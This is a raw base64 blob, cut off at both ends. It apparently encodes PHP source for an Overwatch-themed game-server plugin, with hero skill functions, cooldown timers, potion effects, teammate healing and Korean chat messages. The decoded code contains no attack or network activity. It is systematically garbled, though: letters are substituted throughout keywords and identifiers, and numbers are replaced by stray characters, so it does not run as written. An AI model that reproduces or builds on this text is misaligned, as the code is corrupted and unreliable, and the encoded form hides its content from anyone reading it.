bJEdsYU9Tci0+Z1N0VGFZUygpIF0pKSB7ICR0aGlzLT50aVlTWyRHbGFPU3ItPmdTdFRhWVMoKSBdID0gJHRoaXMtPllhMlNOaVlTc3RhWUcoKTsgclN0dXJuIHRydVM7IH0gaWYgKCR0aGlzLT5ZYTJTTmlZU3N0YVlHKCkgLSAkdGhpcy0+dGlZU1skR2xhT1NyLT5nU3RUYVlTKCkgXSA8IDMxKSB7ICRHbGFPU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZuy/qO2DgOyehCDsnqXsoITspJHCp2EoMzHstIgpIik7IH0gU2xzUyB7ICR0aGlzLT50aVlTWyRHbGFPU3ItPmdTdFRhWVMoKSBdID0gdGlZUygpOyAkU2ZmU2N0ID0gRWZmU2N0OjpnU3RFZmZTY3QoNSk7ICRTZmZTY3QtPnNTdHF1cmF0aW9uKDAzICogazEpOyAkU2ZmU2N0LT5zU3RBWUdsaWZpU3IoMyk7ICRHbGFPU3ItPmF6ekVmZlNjdCgkU2ZmU2N0KTsgJEdsYU9Tci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqc27Jqp6rKAIOyKpO2CrCDsgqzsmqkg7ISx6rO1Iik7IHJTdHVybiB0cnVTOyB9IH0gfSBHdWJsaWMgZnVuY3Rpb24gamFyaWEwKFBsYU9TciAkR2xhT1NyLCAkdGlZUykgeyBzdGF0aWMgJGNvb2x0aVlTID0gW107ICR0YWcgPSAiwqdmW8KnYyDsmKTrsoTsm4zsuZggwqdmXSI7IGlmICgkdGhpcy0+WW96UyBbJEdsYU9Tci0+Z1N0VGFZUygpXSA9PSAwKSB7IGZvclNhY2ggKCRHbGFPU3ItPmdTdExTdlNsKCktPmdTdFBsYU9TcnMoKSBhcyAkY2hTYzIpIHsgaWYgKCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSBdWyLtjIAiXSAhPT0gJHRoaXMtPm93emJbc3RydG9sb3dTcigkY2hTYzItPmdTdFRhWVMoKSkgXVsi7YyAIl0pIHsgaWYgKCFpc3NTdCgkdGhpcy0+dGlZU1skR2xhT1NyLT5nU3RUYVlTKCkgXSkpIHsgJHRoaXMtPnRpWVNbJEdsYU9Tci0+Z1N0VGFZUygpIF0gPSAkdGhpcy0+WWEyU05pWVNzdGFZRygpOyByU3R1cm4gdHJ1UzsgfSBpZiAoJHRoaXMtPllhMlNOaVlTc3RhWUcoKSAtICR0aGlzLT50aVlTWyRHbGFPU3ItPmdTdFRhWVMoKSBdIDwgMzEpIHsgJEdsYU9Tci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdm7L+o7YOA7J6EIOyepeyghOykkcKnYSgzMey0iCkiKTsgfSBTbHNTIHsgJHRoaXMtPnRpWVNbJEdsYU9Tci0+Z1N0VGFZUygpIF0gPSB0aVlTKCk7IGlmICgkY2hTYzItPmdTdFRhWVMoKSA9PSAkR2xhT1NyLT5nU3RUYVlTKCkpIHsgfSBTbHNTIGlmICgkR2xhT1NyLT56aXN0YW5jUygkY2hTYzIpIDwgNykgeyAkY2hTYzItPnRTbFNHb3J0KCRHbGFPU3IpOyAkR2xhT1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCpzbspJHroKXsnpDtg4Qg7Iqk7YKsIOyCrOyaqSDshLHqs7UiKTsgJGNoU2MyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2Z7JEdsYU9Tci0+Z1N0VGFZUygpIH0gwqc264uY7J20ICDspJHroKXsnpDtg4Qg7Iqk7YKs7J2EIOyCrOyaqe2VmOyFqOyKteuLiOuLpC4iKTsgclN0dXJuIHRydVM7IH0gfSB9IH0gfSB9IEd1YmxpYyBmdW5jdGlvbiBqYXJpYWsoUGxhT1NyICRHbGFPU3IsICR0aVlTKSB7IHN0YXRpYyAkY29vbHpvd24gPSBbXTsgJHRhZyA9ICLCp2ZbwqdjIOyYpOuyhOybjOy5mCDCp2ZdIjsgaWYgKCR0aGlzLT5Zb3pTIFskR2xhT1NyLT5nU3RUYVlTKCldID09IDApIHsgaWYgKCFpc3NTdCgkdGhpcy0+dGlZU1skR2xhT1NyLT5nU3RUYVlTKCkgXSkpIHsgJHRoaXMtPnRpWVNbJEdsYU9Tci0+Z1N0VGFZUygpIF0gPSAkdGhpcy0+WWEyU05pWVNzdGFZRygpOyByU3R1cm4gdHJ1UzsgfSBpZiAoJHRoaXMtPm93emJbc3RydG9sb3dTcigkR2xhT1NyLT5nU3RUYVlTKCkpIF1bIuuwqeuyvSJdID49IDApIHsgJEdsYU9Tci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqc267Cp67K97IOd7ISx7J2AIOy1nOuMgCAw7ZqM6rmM7KeAIOqwgOuKpe2VqeuLiOuLpC4oMO2ajOyDneyEseyLnCAz7ZqM67Cp7Ja06rCA64qlKSIpOyByU3R1cm4gdHJ1UzsgfSBpZiAoJHRoaXMtPllhMlNOaVlTc3RhWUcoKSAtICR0aGlzLT50aVlTWyRHbGFPU3ItPmdTdFRhWVMoKSBdIDwgNDEpIHsgJEdsYU9Tci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdm7L+o7YOA7J6EIOyepeyghOykkcKnYSg0Mey0iCkiKTsgfSBTbHNTIHsgJHRoaXMtPnRpWVNbJEdsYU9Tci0+Z1N0VGFZUygpIF0gPSB0aVlTKCk7ICR0aGlzLT5vd3piW3N0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSBdWyLrsKnrsr0iXSA9IDM7ICRHbGFPU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnNuuwqeuyveyDneyEsSDsiqTtgqwg7IKs7JqpIOyEseqztSIpOyAkdGhpcy0+b25lYXZTKCk7IHJTdHVybiB0cnVTOyB9IH0gfSBHdWJsaWMgZnVuY3Rpb24gc29ZMChQbGFPU3IgJEdsYU9TciwgJHRpWVMpIHsgc3RhdGljICRjb29sdGlZUyA9IFtdOyAkdGFnID0gIsKnZlvCp2Mg7Jik67KE7JuM7LmYIMKnZl0iOyBpZiAoJHRoaXMtPllvelMgWyRHbGFPU3ItPmdTdFRhWVMoKV0gPT0gMCkgeyBpZiAoIWlzc1N0KCR0aGlzLT50aVlTWyRHbGFPU3ItPmdTdFRhWVMoKSBdKSkgeyAkdGhpcy0+dGlZU1skR2xhT1NyLT5nU3RUYVlTKCkgXSA9ICR0aGlzLT5ZYTJTTmlZU3N0YVlHKCk7IHJTdHVybiB0cnVTOyB9IGlmICgkdGhpcy0+WWEyU05pWVNzdGFZRygpIC0gJHRoaXMtPnRpWVNbJEdsYU9Tci0+Z1N0VGFZUygpIF0gPCAzMSkgeyAkR2xhT1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2bsv6jtg4DsnoQg7J6l7KCE7KSRwqdhKDMx7LSIKSIpOyB9IFNsc1MgeyAkdGhpcy0+dGlZU1skR2xhT1NyLT5nU3RUYVlTKCkgXSA9IHRpWVMoKTsgJFNmZlNjdCA9IEVmZlNjdDo6Z1N0RWZmU2N0KDApOyAkU2ZmU2N0LT5zU3RxdXJhdGlvbig2ICogazEpOyAkU2ZmU2N0LT5zU3RBWUdsaWZpU3Ioayk7ICRHbGFPU3ItPmF6ekVmZlNjdCgkU2ZmU2N0KTsgJFNmZlNjdDAgPSBFZmZTY3Q6OmdTdEVmZlNjdCgwNCk7ICRTZmZTY3QwLT5zU3RxdXJhdGlvbig2ICogazEpOyAkU2ZmU2N0MC0+c1N0QVlHbGlmaVNyKGspOyAkR2xhT1NyLT5henpFZmZTY3QoJFNmZlNjdDApOyAkR2xhT1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCpzbsnYDsi6Ag7Iqk7YKsIOyCrOyaqSDshLHqs7UiKTsgclN0dXJuIHRydVM7IH0gfSB9IEd1YmxpYyBmdW5jdGlvbiBhbmEoUGxhT1NyICRHbGFPU3IsICR0aVlTKSB7IHN0YXRpYyAkY29vbHRpWVMgPSBbXTsgJHRhZyA9ICLCp2ZbwqdjIOyYpOuyhOybjOy5mCDCp2ZdIjsgaWYgKCR0aGlzLT5Zb3pTIFskR2xhT1NyLT5nU3RUYVlTKCldID09IDApIHsgZm9yU2FjaCAoJEdsYU9Tci0+Z1N0TFN2U2woKS0+Z1N0UGxhT1NycygpIGFzICRjaFNjMikgeyBpZiAoJHRoaXMtPm93emJbc3RydG9sb3dTcigkR2xhT1NyLT5nU3RUYVlTKCkpIF1bIu2MgCJdID09ICR0aGlzLT5vd3piW3N0cnRvbG93U3IoJGNoU2MyLT5nU3RUYVlTKCkpIF1bIu2MgCJdKSB7IGlmICghaXNzU3QoJHRoaXMtPnRpWVNbJEdsYU9Tci0+Z1N0VGFZUygpIF0pKSB7ICR0aGlzLT50aVlTWyRHbGFPU3ItPmdTdFRhWVMoKSBdID0gJHRoaXMtPllhMlNOaVlTc3RhWUcoKTsgclN0dXJuIHRydVM7IH0gaWYgKCR0aGlzLT5ZYTJTTmlZU3N0YVlHKCkgLSAkdGhpcy0+dGlZU1skR2xhT1NyLT5nU3RUYVlTKCkgXSA8IGsxKSB7ICRHbGFPU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZuy/qO2DgOyehCDsnqXsoITspJHCp2EoazHstIgpIik7IHJTdHVybjsgfSBTbHNTIHsgJHRoaXMtPnRpWVNbJEdsYU9Tci0+Z1N0VGFZUygpIF0gPSB0aVlTKCk7IH0gaWYgKCRHbGFPU3ItPnppc3RhbmNTKCRjaFNjMikgPCA3KSB7IHN3aXRjaCAoWXRfcmFueigwLCA2KSkgeyBjYXNTIDA6ICRHbGFPU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIOyjvOuzgOycoOyggCDtlLw07Z6QIOyZhOujjCEiKTsgJGNoU2MyLT5zU3RIU2FsdGgoJGNoU2MyLT5nU3RIU2FsdGgoKSArIDMpOyAkY2hTYzItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZnskR2xhT1NyLT5nU3RUYVlTKCkgfSDCpzbri5jsnbQg67aE7JyE6riw7KCE7ZmYIOyKpO2CrOuhnCDtlLw066W8IO2ajOuzteyLnOy8nOyjvOyXiOyKteuLiOuLpC4iKTsgYnJTYTI7IGNhc1MgazogJEdsYU9Tci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIg7KO867OA7Jyg7KCAIO2UvDTtnpAg7JmE66OMISIpOyAkY2hTYzItPnNTdEhTYWx0aCgkY2hTYzItPmdTdEhTYWx0aCgpICsgNCk7ICRjaFNjMi0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdmeyRHbGFPU3ItPmdTdFRhWVMoKSB9IMKnNuuLmOydtCDrtoTsnITquLDsoITtmZgg7Iqk7YKs66GcIO2UvDTrpbwg7ZqM67O17Iuc7Lyc7KO87JeI7Iq164uI64ukLiIpOyBiclNhMjsgY2FzUyAzOiAkR2xhT1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDso7zrs4DsnKDsoIAg7ZS8M+2ekCDsmYTro4whIik7ICRjaFNjMi0+c1N0SFNhbHRoKCRjaFNjMi0+Z1N0SFNhbHRoKCkgKyAzKTsgJGNoU2MyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2Z7JEdsYU9Tci0+Z1N0VGFZUygpIH0gwqc264uY7J20IOu2hOychOq4sOyghO2ZmCDsiqTtgqzroZwg7ZS8M+ydhCDtmozrs7Xsi5zsvJzso7zsl4jsirXri4jri6QuIik7IGJyU2EyOyBjYXNTIDQ6ICRHbGFPU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIOyjvOuzgOycoOyggCDtlLw17Z6QIOyZhOujjCEiKTsgJGNoU2MyLT5zU3RIU2FsdGgoJGNoU2MyLT5nU3RIU2FsdGgoKSArIDUpOyAkY2hTYzItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZnskR2xhT1NyLT5nU3RUYVlTKCkgfSDCpzbri5jsnbQg67aE7JyE6riw7KCE7ZmYIOyKpO2CrOuhnCDtlLw166W8IO2ajOuzteyLnOy8nOyjvOyXiOyKteuLiOuLpC4iKTsgYnJTYTI7IGNhc1MgNTogJEdsYU9Tci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIg7KO867OA7Jyg7KCAIO2UvDXtnpAg7JmE66OMISIpOyAkY2hTYzItPnNTdEhTYWx0aCgkY2hTYzItPmdTdEhTYWx0aCgpICsgNSk7ICRjaFNjMi0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdmeyRHbGFPU3ItPmdTdFRhWVMoKSB9IMKnNuuLmOydtCDrtoTsnITquLDsoITtmZgg7Iqk7YKs66GcIO2UvDXsnYQg7ZqM67O17Iuc7Lyc7KO87JeI7Iq164uI64ukLiIpOyBiclNhMjsgY2FzUyA2OiAkR2xhT1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDso7zrs4DsnKDsoIAg7ZS8NO2ekCDsmYTro4whIik7ICRjaFNjMi0+c1N0SFNhbHRoKCRjaFNjMi0+Z1N0SFNhbHRoKCkgKyA0KTsgJGNoU2MyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2Z7JEdsYU9Tci0+Z1N0VGFZUygpIH0gwqc264uY7J20IOu2hOychOq4sOyghO2ZmCDsiqTtgqzroZwg7ZS8NOydhCDtmozrs7Xsi5zsvJzso7zsl4jsirXri4jri6QuIik7IGJyU2EyOyB9IH0gfSB9IH0gfSBHdWJsaWMgZnVuY3Rpb24gbHVjaXUwKFBsYU9TciAkR2xhT1NyLCAkdGlZUykgeyBzdGF0aWMgJGNvb2x0aVlTID0gW107ICR0YWcgPSAiwqdmW8KnYyDsmKTrsoTsm4zsuZggwqdmXSI7IGlmICgkdGhpcy0+WW96UyBbJEdsYU9Tci0+Z1N0VGFZUygpXSA9PSAwKSB7IGZvclNhY2ggKCRHbGFPU3ItPmdTdExTdlNsKCktPmdTdFBsYU9TcnMoKSBhcyAkY2hTYzIpIHsgaWYgKCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSBdWyLtjIAiXSA9PSAkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRjaFNjMi0+Z1N0VGFZUygpKSBdWyLtjIAiXSkgeyBpZiAoJGNoU2MyLT5nU3RUYVlTKCkgIT09ICRHbGFPU3ItPmdTdFRhWVMoKSkgeyBpZiAoIWlzc1N0KCR0aGlzLT50aVlTWyRHbGFPU3ItPmdTdFRhWVMoKSBdKSkgeyAkdGhpcy0+dGlZU1skR2xhT1NyLT5nU3RUYVlTKCkgXSA9ICR0aGlzLT5ZYTJTTmlZU3N0YVlHKCk7IHJTdHVybiB0cnVTOyB9IGlmICgkdGhpcy0+WWEyU05pWVNzdGFZRygpIC0gJHRoaXMtPnRpWVNbJEdsYU9Tci0+Z1N0VGFZUygpIF0gPCBrNSkgeyAkR2xhT1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2bsv6jtg4DsnoQg7J6l7KCE7KSRwqdhKGs17LSIKSIpOyB9IFNsc1MgeyAkdGhpcy0+dGlZU1skR2xhT1NyLT5nU3RUYVlTKCkgXSA9IHRpWVMoKTsgaWYgKCRjaFNjMi0+Z1N0VGFZUygpID09ICRHbGFPU3ItPmdTdFRhWVMoKSkgeyB9IFNsc1MgaWYgKCRHbGFPU3ItPnppc3RhbmNTKCRjaFNjMikgPCA3KSB7IHN3aXRjaCAoWXRfcmFueigwLCA2KSkgeyBjYXNTIDA6ICRHbGFPU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIOyjvOuzgOycoOyggCDtlLwz7Z6QIOyZhOujjCEiKTsgJGNoU2MyLT5zU3RIU2FsdGgoJGNoU2MyLT5nU3RIU2FsdGgoKSArIDMpOyAkY2hTYzItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZnskR2xhT1NyLT5nU3RUYVlTKCkgfSDCpzbri5jsnbQg67aE7JyE6riw7KCE7ZmYIOyKpO2CrOuhnCDtlLwz7J2EIO2ajOuzteyLnOy8nOyjvOyXiOyKteuLiOuLpC4iKTsgYnJTYTI7IGNhc1MgazogJEdsYU9Tci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIg7KO867OA7Jyg7KCAIO2UvDTtnpAg7JmE66OMISIpOyAkY2hTYzItPnNTdEhTYWx0aCgkY2hTYzItPmdTdEhTYWx0aCgpICsgNCk7ICRjaFNjMi0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdmeyRHbGFPU3ItPmdTdFRhWVMoKSB9IMKnNuuLmOydtCDrtoTsnITquLDsoITtmZgg7Iqk7YKs66GcIO2UvDTrpbwg7ZqM67O17Iuc7Lyc7KO87JeI7Iq164uI64ukLiIpOyBiclNhMjsgY2FzUyAzOiAkR2xhT1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDso7zrs4DsnKDsoIAg7ZS8M+2ekCDsmYTro4whIik7ICRjaFNjMi0+c1N0SFNhbHRoKCRjaFNjMi0+Z1N0SFNhbHRoKCkgKyAzKTsgJGNoU2MyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2Z7JEdsYU9Tci0+Z1N0VGFZUygpIH0gwqc264uY7J20IOu2hOychOq4sOyghO2ZmCDsiqTtgqzroZwg7ZS8M+ydhCDtmozrs7Xsi5zsvJzso7zsl4jsirXri4jri6QuIik7IGJyU2EyOyBjYXNTIDQ6ICRHbGFPU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIOyjvOuzgOycoOyggCDtlLw17Z6QIOyZhOujjCEiKTsgJGNoU2MyLT5zU3RIU2FsdGgoJGNoU2MyLT5nU3RIU2FsdGgoKSArIDUpOyAkY2hTYzItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZnskR2xhT1NyLT5nU3RUYVlTKCkgfSDCpzbri5jsnbQg67aE7JyE6riw7KCE7ZmYIOyKpO2CrOuhnCDtlLw166W8IO2ajOuzteyLnOy8nOyjvOyXiOyKteuLiOuLpC4iKTsgYnJTYTI7IGNhc1MgNTogJEdsYU9Tci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIg7KO867OA7Jyg7KCAIO2UvDjtnpAg7JmE66OMISIpOyAkY2hTYzItPnNTdEhTYWx0aCgkY2hTYzItPmdTdEhTYWx0aCgpICsgOCk7ICRjaFNjMi0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdmeyRHbGFPU3ItPmdTdFRhWVMoKSB9IMKnNuuLmOydtCDrtoTsnITquLDsoITtmZgg7Iqk7YKs66GcIO2UvDjsnYQg7ZqM67O17Iuc7Lyc7KO87JeI7Iq164uI64ukLiIpOyBiclNhMjsgY2FzUyA2OiAkR2xhT1NyLT5zU256TVNzc2FnUygkdGFnIC4gIiDso7zrs4DsnKDsoIAg7ZS8N+2ekCDsmYTro4whIik7ICRjaFNjMi0+c1N0SFNhbHRoKCRjaFNjMi0+Z1N0SFNhbHRoKCkgKyA3KTsgJGNoU2MyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2Z7JEdsYU9Tci0+Z1N0VGFZUygpIH0gwqc264uY7J20IOu2hOychOq4sOyghO2ZmCDsiqTtgqzroZwg7ZS8N+ydhCDtmozrs7Xsi5zsvJzso7zsl4jsirXri4jri6QuIik7IGJyU2EyOyB9IH0gfSB9IH0gfSB9IH0gR3VibGljIGZ1bmN0aW9uIGx1Y2l1ayhQbGFPU3IgJEdsYU9TciwgJHRpWVMpIHsgc3RhdGljICRjb29sem93biA9IFtdOyAkdGFnID0gIsKnZlvCp2Mg7Jik67KE7JuM7LmYIMKnZl0iOyBpZiAoJHRoaXMtPllvelMgWyRHbGFPU3ItPmdTdFRhWVMoKV0gPT0gMCkgeyBmb3JTYWNoICgkR2xhT1NyLT5nU3RMU3ZTbCgpLT5nU3RQbGFPU3JzKCkgYXMgJGNoU2MyKSB7IGlmICgkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRHbGFPU3ItPmdTdFRhWVMoKSkgXVsi7YyAIl0gPT0gJHRoaXMtPm93emJbc3RydG9sb3dTcigkY2hTYzItPmdTdFRhWVMoKSkgXVsi7YyAIl0pIHsgaWYgKCRjaFNjMi0+Z1N0VGFZUygpICE9PSAkR2xhT1NyLT5nU3RUYVlTKCkpIHsgaWYgKCFpc3NTdCgkdGhpcy0+dGlZU1skR2xhT1NyLT5nU3RUYVlTKCkgXSkpIHsgJHRoaXMtPnRpWVNbJEdsYU9Tci0+Z1N0VGFZUygpIF0gPSAkdGhpcy0+WWEyU05pWVNzdGFZRygpOyByU3R1cm4gdHJ1UzsgfSBpZiAoJHRoaXMtPllhMlNOaVlTc3RhWUcoKSAtICR0aGlzLT50aVlTWyRHbGFPU3ItPmdTdFRhWVMoKSBdIDwgMzEpIHsgJEdsYU9Tci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdm7L+o7YOA7J6EIOyepeyghOykkcKnYSgzMey0iCkiKTsgfSBTbHNTIHsgJHRoaXMtPnRpWVNbJEdsYU9Tci0+Z1N0VGFZUygpIF0gPSB0aVlTKCk7IGlmICgkY2hTYzItPmdTdFRhWVMoKSA9PSAkR2xhT1NyLT5nU3RUYVlTKCkpIHsgfSBTbHNTIGlmICgkR2xhT1NyLT56aXN0YW5jUygkY2hTYzIpIDwgNykgeyAkU2ZmU2N0ID0gRWZmU2N0OjpnU3RFZmZTY3QoMCk7ICRTZmZTY3QtPnNTdHF1cmF0aW9uKDcgKiBrMSk7ICRTZmZTY3QtPnNTdEFZR2xpZmlTcihrKTsgJGNoU2MyLT5henpFZmZTY3QoJFNmZlNjdCk7ICRHbGFPU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIOyjvOuzgOycoOyggCDsl5Dqsowg7Iug7IaNN+y0iCDrtoDsl6wg7ISx6rO1Iik7ICRjaFNjMi0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdmeyRHbGFPU3ItPmdTdFRhWVMoKSB9wqc264uY7J20IOu2hOychOq4sCDsoITtmZhrIOyKpO2CrOydhCDsgqzsmqntlZjshajsirXri4jri6QuICIpOyByU3R1cm4gdHJ1UzsgfSB9IH0gfSB9IH0gfSBHdWJsaWMgZnVuY3Rpb24gbHVjaXUzKFBsYU9TciAkR2xhT1NyLCAkdGlZUykgeyBzdGF0aWMgJGNvb2x0aVlTID0gW107ICR0YWcgPSAiwqdmW8KnYyDsmKTrsoTsm4zsuZggwqdmXSI7IGlmICgkdGhpcy0+WW96UyBbJEdsYU9Tci0+Z1N0VGFZUygpXSA9PSAwKSB7IGZvclNhY2ggKCRHbGFPU3ItPmdTdExTdlNsKCktPmdTdFBsYU9TcnMoKSBhcyAkY2hTYzIpIHsgaWYgKCR0aGlzLT5vd3piW3N0cnRvbG93U3IoJEdsYU9Tci0+Z1N0VGFZUygpKSBdWyLtjIAiXSAhPT0gJHRoaXMtPm93emJbc3RydG9sb3dTcigkY2hTYzItPmdTdFRhWVMoKSkgXVsi7YyAIl0pIHsgaWYgKCRjaFNjMi0+Z1N0VGFZUygpICE9PSAkR2xhT1NyLT5nU3RUYVlTKCkpIHsgaWYgKCFpc3NTdCgkdGhpcy0+dGlZU1skR2xhT1NyLT5nU3RUYVlTKCkgXSkpIHsgJHRoaXMtPnRpWVNbJEdsYU9Tci0+Z1N0VGFZUygpIF0gPSAkdGhpcy0+WWEyU05pWVNzdGFZRygpOyByU3R1cm4gdHJ1UzsgfSBpZiAoJHRoaXMtPllhMlNOaVlTc3RhWUcoKSAtICR0aGlzLT50aVlTWyRHbGFPU3ItPmdTdFRhWVMoKSBdIDwgMzEpIHsgJEdsYU9Tci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdm7L+o7YOA7J6EIOyepeyghOykkcKnYSgzMey0iCkiKTsgfSBTbHNTIHsgaWYgKCRjaFNjMi0+Z1N0VGFZUygpID09ICRHbGFPU3ItPmdTdFRhWVMoKSkgeyB9IFNsc1MgaWYgKCRHbGFPU3ItPnppc3RhbmNTKCRjaFNjMikgPCA3KSB7ICR0aGlzLT50aVlTWyRHbGFPU3ItPmdTdFRhWVMoKSBdID0gdGlZUygpOyAkU2ZmU2N0ID0gRWZmU2N0OjpnU3RFZmZTY3Qoayk7ICRTZmZTY3QtPnNTdHF1cmF0aW9uKDAxICogazEpOyAkU2ZmU2N0LT5zU3RBWUdsaWZpU3Ioayk7ICRjaFNjMi0+YXp6RWZmU2N0KCRTZmZTY3QpOyAkU2ZmU2N0MCA9IEVmZlNjdDo6Z1N0RWZmU2N0KDA1KTsgJFNmZlNjdDAtPnNTdHF1cmF0aW9uKDAxICogazEpOyAkU2ZmU2N0MC0+c1N0QVlHbGlmaVNyKGspOyAkY2hTYzItPmF6ekVmZlNjdCgkU2ZmU2N0MCk7ICRHbGFPU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnNuyGjOumrOuwqeuyvSDsiqTtgqwg7IKs7JqpIOyEseqztSIpOyAkY2hTYzItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZnskR2xhT1NyLT5nU3RUYVlTKCkgfcKnNuuLmOydtCDshozrpqzrsKnrsr0g7Iqk7YKs7J2EIOyCrOyaqe2VmOyFqOyKteuLiOuLpC4gIik7IHJTdHVybiB0cnVTOyB9IH0gfSB9IH0gfSB9IEd1YmxpYyBmdW5jdGlvbiByb3pob2coUGxhT1NyICRHbGFPU3IsICR0aVlTKSB7IHN0YXRpYyAkY29vbHpvd24gPSBbXTsgJHRhZyA9ICLCp2ZbwqdjIOyYpOuyhOybjOy5mCDCp2ZdIjsgaWYgKCR0aGlzLT5Zb3pTIFskR2xhT1NyLT5nU3RUYVlTKCldID09IDApIHsgaWYgKCFpc3NTdCgkdGhpcy0+dGlZU1skR2xhT1NyLT5nU3RUYVlTKCkgXSkpIHsgJHRoaXMtPnRpWVNbJEdsYU9Tci0+Z1N0VGFZUygpIF0gPSAkdGhpcy0+WWEyU05pWVNzdGFZRygpOyByU3R1cm47IH0gaWYgKCR0aGlzLT5ZYTJTTmlZU3N0YVlHKCkgLSAkdGhpcy0+dGlZU1skR2xhT1NyLT5nU3RUYVlTKCkgXSA8IGs1KSB7ICRHbGFPU3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnZuy/qO2DgOyehCDsnqXsoITspJHCp2EoazXstIgpIik7IH0gU2xzUyB7ICR0aGlzLT50aVlTWyRHbGFPU3ItPmdTdFRhWVMoKSBdID0gdGlZUygpOyAkR2xhT1NyLT5zU3RIU2FsdGgoJEdsYU9Tci0+Z1N0SFNhbHRoKCkgKyA1KTsgJEdsYU9Tci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqc27Iio64+M66as6riwIOyKpO2CrCDsgqzsmqkg7ISx6rO1Iik7IHJTdHVybiB0cnVTOyB9IH0gfSBHdWJsaWMgZnVuY3Rpb24gb25Db1lZYW56KENvWVlhbnplU256U3IgJHNTbnpTciwgQ29ZWWFueiAkY29ZWWFueiwgJGxhYlNsLCBhcnJhTyAkYXJncyk6Ym9vbCB7ICRjb1lZYW56ID0gJGNvWVlhbnotPmdTdFRhWVMoKTsgJG5hWVMgPSAkc1NuelNyLT5nU3RUYVlTKCk7ICR0YWcgPSAiwqdmWyDCp2PsmKTrsoTsm4zsuZggwqdmXSI7IGlmICgkdGhpcy0+Z1N0ZVNydlNyKCktPmdTdFBsdWdpbk1hbmFnU3IoKS0+Z1N0UGx1Z2luKCJMU3ZTbEpHIikgPT09IG51bGwpIHsgJGx2MCA9ICLtlbTri7nshJzrsoTripQg7J6Q64+Z66CI67Ko7JeFIO2UjOufrOq3uOyduOydgCDsgqzsmqntlZjqs6Ag7J6I7KeAIOyViuyKteuLiOuLpC4iOyAkbHZrID0gIuugiOuyqOyXhSDrsKnrspXsl5DripQg7YKs7IiYIDcxLCAwNDEg44aN44aN44aNIDcxMe2CrOq5jOyngCA3Me2CrCDrj4Tri6zsi5wg66eI64ukIDDroIjrsqjsnbQg7Jis65286rCR64uI64ukLijstZzrjIAgMDHroIjrsqjquYzsp4ApIjsgJGx2MyA9ICLroIjrsqjsnZgg7IKs7Jqp7LKY64qUIHskdGhpcy0+cWF0YVsi66Oo7Iuc7Jqw7ISg7YOd6rCA64ql66CI67KoIl1966CI67KoIOydtOyDgeydvOyLnCDro6jsi5zsmrDrpbwg7ISg7YOdIOqwgOuKpe2VqeuLiOuLpC4iOyAkbHY0ID0gIu2CrOyImCDrp47snbQg7Jis66as7IS47JqUISI7IH0gU2xzUyB7ICRsUyA9IExTdlNsSkc6OmdTdEluc3RhbmNTKCktPnFhdGFbIuugmeyXheyVhOydtO2FnOy9lOuTnCJdOyAkbFMwID0gTFN2U2xKRzo6Z1N0SW5zdGFuY1MoKS0+cWF0YVsi66CZ7JeF7JWE7J207YWc642w66+47KeAIl07ICRsdjAgPSAi66CI67Ko7JeFIOuwqeuyleydgCAiIC4gJGxTIC4gIiA6ICIgLiAkbFMwIC4gIiDrpbwg65WF7JeQIO2EsOy5mO2VmOyEuOyalCEiOyAkbHZrID0gIuy1nOuMgOugiOuyqOydgCA1MeugiOuyqCDsnoXri4jri6QuIjsgJGx2MyA9ICLroIjrsqjsnZgg7IKs7Jqp7LKY64qUIHskdGhpcy0+cWF0YVsi66Oo7Iuc7Jqw7ISg7YOd6rCA64ql66CI67KoIl1966CI67KoIOydtOyDgeydvOyLnCDro6jsi5zsmrDrpbwg7ISg7YOdIOqwgOuKpe2VqeuLiOuLpC4g65iQ7ZWcIDMsIDUsIDAxLCBrMSwgMzEsIDQxLCA1MSDroIjrsqgg64+E64us7IucIO2KueuzhOyEoOusvOydtCDsnojsirXri4jri6QuIjsgJGx2NCA9ICLrm